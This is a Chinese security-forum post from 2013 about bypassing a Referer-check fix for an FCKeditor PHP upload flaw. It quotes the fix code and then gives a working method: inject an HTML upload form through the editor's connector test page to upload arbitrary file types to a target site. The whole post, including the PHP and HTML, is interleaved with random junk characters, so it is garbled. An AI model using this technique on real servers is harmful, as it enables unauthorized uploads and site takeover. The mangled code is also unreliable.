找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2158|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php3 B& f; C+ p1 x4 k1 u
网上给出的修复方案是
# }) ]" Y9 ?, e" T$ r8 L, s* q修复方法,删除FCK编辑器用其他的编辑器1 v% w3 V; R: E; ]
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件* c' j6 _+ E" b5 T
( f: Q6 ?. m5 l7 p! E
require(‘config.php’);
& M9 u) Y  m, x# _: P' lrequire(‘util.php’);' z/ M9 q8 R5 Q' J4 u9 c
的下面添加以下代码—————————–! s9 Z) u) `9 l
//防止外部提交' b$ w' g6 C" ]! C
function outsidepost()- w" Q. E2 S- G) u- D1 D
{5 @  B0 D& [; N3 x$ g8 E3 ~/ \
$servername=$_SERVER['SERVER_NAME'];4 w4 c9 m* O) I
$sub_from=@$_SERVER['HTTP_REFERER'];
3 b5 |9 Y; Z# j$ F" O$sub_len=strlen($servername);4 S2 b3 V* W& J) L, ?5 d
$checkfrom=substr($sub_from,7,$sub_len);
' f" C4 g3 v: q$ Y9 Tif($checkfrom!=$servername){
0 u& F% K- b# v" a4 g8 x! Hecho(“you don’t outsidepost!”);9 l( X% Z- r: t" C3 n: L
exit;( Y# O$ {5 V% M, V! M/ N
}
9 f; A& }. v) ~6 I0 U* D! X) V}$ J9 d4 q3 I4 z! G/ q
outsidepost();
& B5 Y) h" b7 V- g# @# W防止外部提交,但是没有防止内部提交,: ~/ e& O$ v7 v! ]: x
利用方法:. ]/ f$ E+ F% n. I! F5 o* ^
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html$ }, I& `5 J5 ~  Z0 L
2,在Current Folder 框输入
6 }, `& E7 }1 e, _<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>3 N  v) R& t5 L0 i, K8 ^
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
7 b- t9 X" y  p( u- G% I  _. DPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表